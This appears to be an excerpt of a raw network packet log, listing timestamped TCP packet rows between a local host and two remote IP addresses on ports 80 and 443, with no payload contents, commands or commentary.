Nov 12, 2024 04:16:31.150142908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150158882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150172949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150183916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150201082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150211096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150216103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150228024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150242090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150249004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150253057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150264025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150275946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150285006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150309086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150317907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150372028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150382996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150394917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150404930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150413036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150422096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150434017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150443077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150444031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150453091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150469065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150482893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150485992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150492907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150511026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150511980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150530100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150541067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150541067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150552988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150562048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150566101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150573969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150574923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150604963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150624990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150659084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150676012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150686979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150707006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150707960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150719881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150729895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150732994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150743961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150760889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150762081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150774002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150785923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150788069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150794983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150800943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150826931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150851965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150902033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150913000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150923014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150934935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.150948048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.150981903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151015043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151026011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151038885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151047945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151051044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151060104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151071072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151079893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151086092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151091099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151103973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151124001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151139021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151160002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151173115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151184082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151195049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151204109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151206970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151216984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151230097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151240110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151252985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151264906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151267052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151277065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151288986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151294947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151310921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151320934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151334047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151360989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151371002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151381969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151387930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151393890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151407957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151432991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151499033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151510000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151523113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151541948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151567936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151568890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151581049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151592016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151603937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151609898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151622057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151633024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151633024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151644945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151657104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151659012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151668072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151674986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151679993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151691914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151700020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151702881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151719093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151724100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151731014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151743889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151745081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151771069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151787043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151792049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151799917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151809931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151820898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151835918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151839018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151850939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151861906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151865005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151874065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151890993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151912928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151915073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151932001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151947975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151952028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151964903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151973009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151978016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151988029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.151989937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.151999950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152024031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152055979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152066946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152084112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152100086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152118921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152179956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152190924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152199984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152210951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152220964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152224064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152240038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152271032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152283907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152369976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152383089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152395964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152415037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152424097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152442932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152450085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152455091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152468920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152478933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152479887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152499914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152506113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152514935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152525902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152529955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152538061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152549982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152556896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152563095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152570009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152573109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152590990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152601004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152602911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152612925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152616978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152631044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152638912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152663946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152666092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152678967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152688980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152703047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152754068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152787924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152796984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152831078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152915955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152929068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152939081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152960062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.152972937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.152987957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153007984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153188944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153199911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153217077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153240919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153259993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153260946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153274059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153284073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153311968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153321981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153584957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153597116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153609037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153635025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153661966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153666019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153677940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153690100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153700113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153712034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153716087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153739929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153752089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153769016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153779984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153798103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153809071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153820038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153830051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153832912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153844118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153856993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153873920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153882027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153892994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153898954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153902054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153913975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153919935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153925896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153937101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.153944969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153969049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.153995037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.154006958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.154016018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.154026985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.154036999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.154040098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.154057026 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.154078007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.178239107 CET	443	49831	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.178561926 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.178915024 CET	49831	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.178934097 CET	443	49831	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.179013014 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.179037094 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.179388046 CET	443	49831	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.180083036 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.180131912 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.186518908 CET	443	49834	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.186724901 CET	443	49835	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.186862946 CET	49834	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.186873913 CET	443	49834	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.187073946 CET	49835	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.187088966 CET	443	49835	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.187336922 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.187756062 CET	49833	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.187756062 CET	443	49830	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.187762976 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.187912941 CET	49830	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.187926054 CET	443	49834	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.187936068 CET	443	49830	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.187978029 CET	49834	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.188141108 CET	443	49835	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.188193083 CET	49835	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.188834906 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.188889980 CET	49833	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.189346075 CET	443	49830	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.189398050 CET	49830	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.193308115 CET	49831	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.193393946 CET	443	49831	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.193531036 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.193592072 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.193594933 CET	49834	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.193651915 CET	443	49834	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.193685055 CET	49835	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.193742990 CET	49833	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.193747997 CET	443	49835	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.193811893 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.193994999 CET	49830	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.194072962 CET	443	49830	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.194391012 CET	49831	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.194439888 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.194453001 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.194493055 CET	49834	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.194499016 CET	443	49834	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.194554090 CET	49835	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.194559097 CET	443	49835	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.194598913 CET	49833	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.194607973 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.194632053 CET	49830	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.194638968 CET	443	49830	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.194650888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.194664001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.194701910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.194703102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.194720030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.194752932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.194787025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.194797993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.194817066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.194833994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.194859982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.194874048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.194917917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.194947958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.194979906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.194991112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195019960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195039988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195082903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195090055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195123911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195131063 CET	49750	80	192.168.2.5	185.215.113.206
